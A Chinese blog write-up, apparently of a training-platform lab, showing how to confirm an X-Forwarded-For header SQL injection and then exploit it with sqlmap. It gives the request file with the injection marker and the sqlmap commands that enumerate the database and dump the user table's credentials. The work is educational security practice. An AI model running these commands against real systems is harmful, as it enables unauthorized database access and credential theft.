zoukankan      html  css  js  c++  java
  • X-Forwarded-For注入漏洞过程记录

    一、题目地址

      https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe

    二、使用工具
      
      FireFox浏览器、SQLMAP

    三、确认漏洞

      题目说是X-Forwarded-For注入漏洞,先确认一下是不是

      1. 随便输入账号密码后点击登录
         
      2. 返回结果
         

       弹窗有乱码,没关系,按F12打开调试窗口,在调试窗口中查看请求和响应

       3. 弹窗信息

         

       弹窗信息中告诉我,我的IP地址 27.17.120.22 被记录了,可能是记录到数据库中了,也就是将该IP写到了数据库中;竟然跟数据库有交互,那么可以猜

       想,此处可能存在SQL注入漏洞;接下来继续确认

       4. 服务端获取客户端IP地址的方式

       服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值,确认服务端是不是使用这种方式获取客户端IP地址;编辑刚才的

       请求,在请求头中加入X-Forwarded-For:111.23.21.23(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送

         

         

         

       可以看到,之前随意填的X-Forwarded-For字段中的IP地址 111.23.21.23 已经被记录了,这就确认了服务端是通过读取X-Forwarded-For的字段值

       来获取客户端的IP地址的;下面直接用SQLMAP确认X-Forwarded-For存在SQL注入漏洞

     四、SQLMAP跑注入漏洞

       1. 将第二次登录请求的信息摘下来,新建成txt文件,这里我命名为x-forwarded-for.txt,并将x-forwarded-for的值改为*;文件内容如下所示:   

    POST /index.php HTTP/1.1
    Host: 219.153.49.228:48584
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    Connection: keep-alive
    Referer: http://219.153.49.228:48584/index.php
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    X-Forwarded-For:*
    
    username=fff&password=ddd

        2. 确认漏洞(命令:sqlmap.py -r x-forwarded-for.txt --batch(需要在x-forwarded-for.txt文件所在的目录中跑))

         

       3. 查询数据库(sqlmap.py -r x-forwarded-for.txt --batch --dbs)

         

       4、查询当前数据库库(sqlmap.py -r x-forwarded-for.txt --batch --current-db)

          

       5. 查询获取数据库中表(sqlmap.py -r x-forwarded-for.txt --batch --tables -D "webcalendar")

          

       6. 查询表的字段(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --columns -T "user"  -D "webcalendar")

          

       7. 查询表的内容(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --dump -C "id,username,password" --columns

                -T "user"  -D "webcalendar")

          

  • 相关阅读:
    Python学习 :面向对象 -- 三大特性
    Python学习 :面向对象(一)
    小米oj #40 找小“3”
    第三次作业
    排序算法模板
    树状数组求逆序数
    最短路模板
    字典树模板
    LCS
    多项式朴素乘法
  • 原文地址:https://www.cnblogs.com/soldierback/p/11707035.html
Copyright © 2011-2022 走看看